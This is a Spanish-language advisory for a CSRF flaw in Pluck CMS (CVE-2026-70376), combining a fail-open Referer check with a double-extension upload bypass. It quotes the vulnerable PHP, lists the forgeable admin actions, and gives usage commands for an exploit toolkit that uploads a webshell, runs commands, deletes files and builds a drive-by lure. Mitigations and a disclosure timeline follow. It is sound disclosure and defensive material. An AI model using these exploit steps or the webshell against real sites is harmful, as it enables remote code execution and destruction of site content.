
Aviso y PoC en Python para el CSRF de Pluck CMS: una comprobación de Referer con fallo abierto (fail-open) junto con la subida de doble extensión permite el despliegue de webshells y la ejecución remota de código.
| CVE ID | CVE-2026-70376 |
| ID de seguimiento | PT-2026-68036 |
| Producto | pluck-cms/pluck — Pluck CMS (PHP de archivos planos) |
| Afectado | 4.7.x hasta 4.7.21-dev / master actual |
| Debilidad | CWE-352 (CSRF) · CWE-434 (subida sin restricciones, amplificador) |
| CVSS v3.1 | 8.0 — Alta · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| Vector | Red · sin privilegios · una visita de página de administrador (UI:R) |
| Impacto | Destrucción de contenido/DoS, inyección de contenido almacenado, RCE en Apache/mod_php |
| Introducido | commit f79f916 (dic. 2019) — lógica vulnerable presente desde entonces |
| Investigador | Ilhomjon Rustamov (@IlhomjonR) |
El panel de administración de Pluck no tiene tokens CSRF por petición en ninguna parte del código.
Cada acción administrativa que cambia el estado está controlada por una única función,
requestedByTheSameDomain(), cuya única defensa es una comparación del host del Referer
— y esa comprobación falla en abierto (fail-open): cuando una petición llega sin cabecera Referer
en absoluto, la función devuelve true y la acción se permite.
Dado que una página del atacante controla por completo si se envía un Referer
(<meta name="referrer" content="no-referrer">), cualquier administrador con la sesión iniciada que
visite una página maliciosa puede verse obligado a realizar acciones privilegiadas entre sitios.
Varias acciones destructivas se ejecutan mediante GET, y Pluck no establece ningún atributo SameSite
en PHPSESSID (los navegadores aplican SameSite=Lax, que sigue viajando
en las navegaciones GET de nivel superior), por lo que son alcanzables entre sitios con la
configuración predeterminada del navegador.
Una debilidad secundaria en el filtro de subida permite que el mismo CSRF coloque un
archivo de doble extensión shell.php.jpg, convirtiendo el CSRF en un RCE drive-by
en hosts Apache/mod_php.
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
Una petición entre sitios con un Referer externo se rechaza correctamente (la rama else),
lo que crea una falsa sensación de protección — pero el atacante simplemente
suprime el Referer, cae en la rama fail-open y la petición se permite.
No hay ninguna capa de tokens detrás de esta comprobación.
La barrera se aplica una vez en admin.php y se confía en ella para todo el switch de acciones:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite en la cookie de sesión (amplificador)Pluck nunca llama a session_set_cookie_params(), por lo que PHPSESSID hereda el valor
predeterminado vacío → los navegadores aplican SameSite=Lax, que sigue viajando en las
navegaciones GET de nivel superior. Por tanto, las acciones expuestas por GET (deletefile, deleteimage, deletepage,
module_delete, theme_delete, logout) se pueden falsificar con una sola visita a una página.
data/inc/images.php (amplificador de RCE)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
Ambas comprobaciones se omiten trivialmente:
$_FILES[...]['type']) → establecer image/jpeg;shell.php.jpg
termina en .jpg y pasa.El archivo se escribe en images/shell.php.jpg; en un host Apache/mod_php con
manejo de extensiones múltiples se ejecuta como PHP.
Una sola visita de un administrador autenticado — sin ningún clic.
flowchart LR
A[Admin logged into Pluck] --> B[Opens attacker page]
B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
C --> D[Top-level nav / auto-form to admin.php]
D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruction / DoS]
F --> G2[editpage -> stored-content injection]
F --> G3["images upload -> shell.php.jpg -> RCE"]Las acciones falsificables incluyen:
| Acción | Método | Impacto |
|---|---|---|
admin.php?action=deletefile&var1=<f> | GET | Eliminar cualquier archivo subido |
admin.php?action=deletepage&... | GET | Eliminar páginas del sitio (DoS) |
admin.php?action=module_delete&... | GET | Eliminar módulos |
admin.php?action=logout | GET | Cerrar la sesión del administrador |
admin.php?action=editpage | POST | Inyectar contenido almacenado de página |
admin.php?action=images (subida) | POST | Colocar shell.php.jpg → RCE |
Un kit de herramientas PoC funcional se encuentra en exploit/:
pluck_csrf_rce.py — demostrar la lógica fail-open, subir un webshell por CSRF y
ejecutar comandos, eliminar archivos por CSRF o generar un señuelo.csrf_poc.html — la página drive-by independiente que se entrega al administrador víctima.pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
Las peticiones de Python deliberadamente no envían ningún Referer, reproduciendo exactamente un
navegador víctima bajo una política no-referrer. La asimetría a nivel HTTP que confirma
la lógica:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️ El paso
.php.jpg→ RCE requiere un host Apache/mod_php que ejecute archivos de extensiones múltiples mediante PHP. Cuando eso no está configurado, la subida por CSRF sigue teniendo éxito y las primitivas destructivasdelete/deletepageno se ven afectadas — el CSRF es el fallo principal; el RCE es el amplificador.
Referer/Origin ausente como no confiable. Preferir la cabecera Origin y rechazar
cuando falte o no coincida.deletefile, deletepage, logout, etc.
a POST para que SameSite=Lax proporcione protección básica.SameSite=Strict (o Lax), HttpOnly,
y Secure mediante session_set_cookie_params().| Fecha | Evento |
|---|---|
| 2019-12 | Se introdujo la lógica vulnerable requestedByTheSameDomain() (f79f916) |
| 2026-07-08 | Descubierto mediante auditoría de código fuente; PoC de extremo a extremo verificado |
| 2026-08-10 | Aviso redactado (PT-2026-68036) |
| 2026-08-12 | CVE-2026-70376 asignado; aviso + PoC publicados |
Este material se publica con fines educativos y defensivos y únicamente para pruebas de seguridad autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para realizar pruebas. El autor no acepta ninguna responsabilidad por el uso indebido.
Encontrado & documentado por @IlhomjonR · CVE-2026-70376 · PT-2026-68036